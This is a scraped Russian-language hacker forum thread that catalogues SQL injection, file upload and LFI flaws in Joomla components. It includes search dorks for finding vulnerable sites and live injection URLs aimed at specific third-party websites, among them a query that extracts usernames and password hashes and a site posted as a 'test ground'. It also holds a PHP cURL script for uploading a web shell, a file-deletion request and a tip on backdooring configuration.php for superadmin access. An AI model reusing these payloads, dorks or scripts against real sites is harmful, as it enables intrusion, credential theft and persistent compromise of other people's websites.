Обзор уязвимостей CMS [Joomla,Mambo] и их компонентов

Discussion in 'Веб-уязвимости' started by it's my, 6 Oct 2007.

  1. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,414
    Likes Received:
    911
    Reputations:
    863
    Blind

    Joomla "com_spidercalendar" component SQL Injection

    Уязвим параметр calendar_id

    POC:
    - true

    - false

    Exploit переписанный под пример данного сайта!
    Дорк: "inurl:index.php?option=com_spidercalendar calendar_id=*"


    Уязвимый код:
    Пока нет...


    P.S:Уязвимость другой переменной данного компанента
    http://www.exploit-db.com/exploits/23782/ (2012-12-31)
     
    _________________________
  2. KolosJey

    KolosJey Member

    Joined:
    21 Dec 2009
    Messages:
    45
    Likes Received:
    42
    Reputations:
    48
    Ты всё-же мой любимый хакер :)

    Blind - OK

    http://www.saawf.co.za/index.php?option=com_spidercalendar&view=spidercalendar&calendar_id=1 UNION SELECT 1,2,3,4,0x3c61207461726765743d225f626c616e6b2220687265663d22687474703a2f2f7777772e726164696b616c2e7275223e3c696d67207372633d22687474703a2f2f693038312e726164696b616c2e72752f313330322f31342f3266376332333033326532612e6a706722203e3c2f613e,6,7,8,9,10,11,12,13,14,15,16,17-- &module_id=60&date60=2012-08-11&Itemid=
     
  3. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,414
    Likes Received:
    911
    Reputations:
    863
    а ты все также смышлен))) действует не везде, а с блиндом проходит больше ситуаций, да и кому, как крутить дело каждого...
     
    _________________________
  4. Disasm

    Disasm New Member

    Joined:
    10 Aug 2008
    Messages:
    42
    Likes Received:
    3
    Reputations:
    0
    Ни у кого случайно не завалялись исходники уязвимого к LFI компонента com_properties версия 3.1.22-03
    Столкнулся с проблемой усечения расширения null байтом. Глянуть бы исходники :rolleyes:
    Подробности тут: http://forum.antichat.ru/thread375124.html

    P.S. Очень плохая манера описывать уязвимость и не указывать участок кода, в котором она найдена, т.к. зачастую после публикации уязвимости скрипт попросту пропадает с прилавков интернета...
     
    Take_IT likes this.
  5. ravencrow

    ravencrow New Member

    Joined:
    29 Jul 2013
    Messages:
    10
    Likes Received:
    1
    Reputations:
    0
    Как узнать версию Joomla 2.5/3.0

    Если есть доступ на чтение из БД, выполнить следующий запрос:

    select version_id from префикс_schemas where extension_id=700;

    или

    select manifest_cache from префикс_extensions where extension_id=700;
     
    1 person likes this.
  6. ravencrow

    ravencrow New Member

    Joined:
    29 Jul 2013
    Messages:
    10
    Likes Received:
    1
    Reputations:
    0
    Описание уязвимости http://developer.joomla.org/security/news/563-20130801-core-unauthorised-uploads
    Уязвимый код https://github.com/joomla/joomla-cms/commit/fa5645208eefd70f521cd2e4d53d5378622133d8
    Позволяет залить шелл с расширением *.php. (на конце расширения файла точка) через встроенный медиа-менеджер Joomla. Требуется доступ на сайт в качестве автора/редактора. Т.е. без соответствующих привелегий залить не получится.
    Актуально для версий Joomla от 2.5.0 до 2.5.13 и от 3.0.0 до 3.1.4 включительно.
     
  7. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,414
    Likes Received:
    911
    Reputations:
    863
    Joomla "com_muscol" component SQL Injection

    Уязвим параметр genre_id, в данном компаненте есть и другие уязвимые параметры.

    POC:
    - true

    - false


    Дорк: "inurl:index.php?option=com_muscol genre_id=*"


    Уязвимый код:
    Пока нет...
     
    _________________________
    3 people like this.
  8. Ravenous

    Ravenous Elder - Старейшина

    Joined:
    14 Jul 2012
    Messages:
    117
    Likes Received:
    29
    Reputations:
    26
    Файл: components/com_muscol/models/search.php
    Код:
    PHP:
    ...
    $this->genre_id JRequest::getVar('genre_id');
    ...
        function 
    _buildQuery(){
            if(empty(
    $this->query)){
                
                
    $keywords $this->keywords;
                
    $artist_id $this->artist_id;
                
    $genre_id $this->genre_id;
                
                
    $where_clause = array();
        
                if (
    $keywords != ""$where_clause[] = ' s.name LIKE "%'.$keywords.'%"';
                
                if (
    $artist_id 0) {
                    
    $where_clause[] = ' ( al.artist_id = '$artist_id ' OR s.artist_id = '.$artist_id.')';
                }
                if (
    $genre_id 0) {
                    
    $genre->id $genre_id ;
                    
    $this->getDescendantsId($genre_id); 
                    
    $descendants $this->descendantsId;
                    
    $descendants[] = $genre_id ;
                    
    $genre_clause ' (( s.genre_id = ' implode(' OR s.genre_id = ',$descendants) . ' ) '.
                                    
    ' OR ( s.genre_id ="" AND ( al.genre_id = ' implode(' OR al.genre_id = ',$descendants) . ' ) ) )';
                    
    $where_clause[] = $genre_clause;
                }
                
                
    // Build the where clause of the content record query
                
    $where_clause = (count($where_clause) ? ' WHERE '.implode(' AND '$where_clause) : '');
                
                
    $this->query =     ' SELECT s.*,al.name as album_name,al.image, ar.artist_name FROM #__muscol_songs as s '.
                                
    ' LEFT JOIN #__muscol_albums as al ON al.id = s.album_id ' .
                                
    ' LEFT JOIN #__muscol_artists as ar ON ( ar.id = s.artist_id OR ar.id = al.artist_id ) ' .
                                
    $where_clause .
                                
    ' ORDER BY s.artist_id, al.year, al.month, al.id, s.disc_num,s.num '
                                
    ;
                                
    //echo $this->query; die();
            
    }
            return 
    $this->query;
        }
     
    1 person likes this.
  9. look2009

    look2009 Member

    Joined:
    3 Jun 2009
    Messages:
    80
    Likes Received:
    63
    Reputations:
    5
    joomla 3.2.1
    index.php/weblinks-categories?id=0%20%29%20union%20select%20concat_ws(0x3a,username,password)%20from%20%60ppo1v_users%60%20--%20%29
     
  10. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,801
    Likes Received:
    920
    Reputations:
    862
    Бэкдорим Joomla через файл конфигурации штатными средствами:

    в файл ./configuration.php добавляем строчку

    Вписанный таким образом пользователь автоматически становится СуперАдмином, не смотря на его настройки в MySQL.

    Вычитал тут
     
    _________________________
    3 people like this.
  11. Ch3ck

    Ch3ck Elder - Старейшина

    Joined:
    9 Jun 2006
    Messages:
    1,363
    Likes Received:
    1,192
    Reputations:
    430
    А не проще подставить к домену /language/en-GB/en-GB.xml и узнать версию?
     
    3nvY likes this.
  12. ZodiaX

    ZodiaX Reservists Of Antichat

    Joined:
    7 May 2009
    Messages:
    533
    Likes Received:
    308
    Reputations:
    51
    Joomla ver. 3.2/3.4.4
    Уязвимый компонент /administrator/components/com_contenthistory/models/history.php

    POC:
    Подробнее тут.
     
    d1sen and rct like this.
  13. AppS

    AppS Member

    Joined:
    8 Aug 2009
    Messages:
    249
    Likes Received:
    25
    Reputations:
    6
    Начинаем марафон:D
     
  14. Sharingan

    Sharingan Elder - Старейшина

    Joined:
    5 May 2007
    Messages:
    143
    Likes Received:
    147
    Reputations:
    16
    А как только угадать префикс таблицы.
     
  15. ZodiaX

    ZodiaX Reservists Of Antichat

    Joined:
    7 May 2009
    Messages:
    533
    Likes Received:
    308
    Reputations:
    51
  16. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,414
    Likes Received:
    911
    Reputations:
    863
    Площадка для тестов:
    _ttp://test.bip.visacom.pl/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1&list[select]=(ExtractValue(1,(select concat_ws(0x3a,user(),version(),database()))))

    Обратите внимание, что при ошибки выдается и префикс таблици:
     
    _________________________
  17. grimnir

    grimnir Members of Antichat

    Joined:
    23 Apr 2012
    Messages:
    1,114
    Likes Received:
    830
    Reputations:
    231
    _________________________
    vlladisllav likes this.
  18. hpol

    hpol Elder - Старейшина

    Joined:
    11 Dec 2013
    Messages:
    62
    Likes Received:
    16
    Reputations:
    15
    Только чем такой хэш можно расшифровать ? Через session_id пробовал войти на паре сайтов - не вышло .
     
  19. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,414
    Likes Received:
    911
    Reputations:
    863
    Joomla com_sexycontactform Arbitrary File Upload Vulnerability
    по мотивам _http://0day.today/exploit/description/24518
    exploit:
    PHP:
    $url="http://localhost";
    $file="Z:\\home\\test\\www\\exp\\css.php";
      if( 
    $curl curl_init() ) {
        
    curl_setopt($curlCURLOPT_URL"$url/components/com_sexycontactform/fileupload/index.php");
        
    curl_setopt($curlCURLOPT_RETURNTRANSFER,1);
        
    curl_setopt($curlCURLOPT_POST1);
        @
    curl_setopt($curlCURLOPT_POSTFIELDS, array("files"=>"@".$file));
        
    curl_setopt($curlCURLOPT_USERAGENT'Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.2.15 Version/10.10');
        
    $in curl_exec($curl);
        
    curl_close($curl);
        
    //var_dump($in);
      
    }

    На разных площадках по разному расширения пропускает, для загрузки шелла, пробуйте играться с расширением

    Для удаления какого либо файла из папки files
    Используем метод
    DELETE:
    http://www.localhost/components/com_sexycontactform/fileupload/index.php?file=.htaccess

    Сорци уязвимой части компанента:
     

    Attached Files:

    • src.zip
      File size:
      7.3 KB
      Views:
      584
    _________________________
    #299 winstrool, 11 Nov 2015
    Last edited: 11 Nov 2015
    YaBtr likes this.
  20. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,414
    Likes Received:
    911
    Reputations:
    863
    Joomla "mod_fxprev"

    modules/mod_fxprev/libraries/tmpl.php

    Уязвимый участок кода:
    POC:
    для тестов:
     
    _________________________